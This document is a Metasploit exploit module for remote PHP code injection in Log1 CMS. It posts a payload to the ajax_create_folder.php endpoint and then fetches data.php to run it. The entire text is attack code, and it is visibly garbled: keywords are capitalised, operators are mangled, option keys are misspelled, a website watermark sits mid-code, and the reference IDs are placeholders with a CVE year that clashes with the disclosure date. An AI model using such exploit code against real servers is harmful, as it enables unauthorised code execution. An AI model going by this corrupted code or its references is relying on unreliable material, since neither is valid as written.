##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# Http://metasploit.com/framework/
##
Require 'msf/core'
Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking
Include Msf: Exploit: Remote: HttpClient
Def initialize (info = {})
Super (update_info (info,
'Name' => "Log1 CMS writeInfo () PHP Code Injection ",
'Description' => % q {
This module exploits the "Ajax File and Image Manager" component that can be
Found in log1 CMS. In function. base. php of this component, the 'data' parameter
In writeInfo () allows any malicious user to have direct control of writing data
To file data. php, which results in arbitrary remote code execution.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Egix ', # Found the bug in ajax_create_folder.php
'Adel sbm', # Found log1 CMS using the vulnerable ajax_create_folder.php
'Sinr3' # Metasploit
],
'References '=>
[
['Cve', '2017-2011 '],
['Ossvdb', '123'],
['Edb', '123'], # Egix's advisory
['Edb', '123'] # Adel's
],
'Payload' =>
{
'Badchars' => "\ x00"
},
'Defaultopexception' =>
{
'Exitfunction' => "none"
},
'Platform' => 'php ',
'Arch '=> ARCH_PHP,
'Targets' =>
[
['Log1 CMS 2.0 ', {}],
],
'Privileged' => false,
'Disclosuredate' => "Apr 11 2011 ",
'Defaulttarget' => 0 ))
Register_options (
[
OptString. new ('targeturi ', [true, 'the base path to log1 CMS', '/log1cms2.0/'])
], Self. class)
End
Def check
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
Res = send_request_raw ({
'Method' => 'get ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/ajax_create_folder.php"
})
If res and res. code = 200
Return Exploit: CheckCode: Detected
Else
Return Exploit: CheckCode: Safe
End
End www.2cto.com
Def exploit
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
Peer = "# {rhost }:# {rport }"
Php = % Q | # {rand_text_alpha (10) }=<? Php # {payload. encoded}?> |
Print_status ("# {peer}-Sending PHP payload (# {php. length. to_s} bytes )")
Send_request_cgi ({
'Method' => 'post ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/ajax_create_folder.php ",
'Data' => php
})
Print_status ("# {peer}-Requesting data. php ")
Send_request_raw ({
'Method' => 'get ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/inc/data. php"
})
Handler
End
End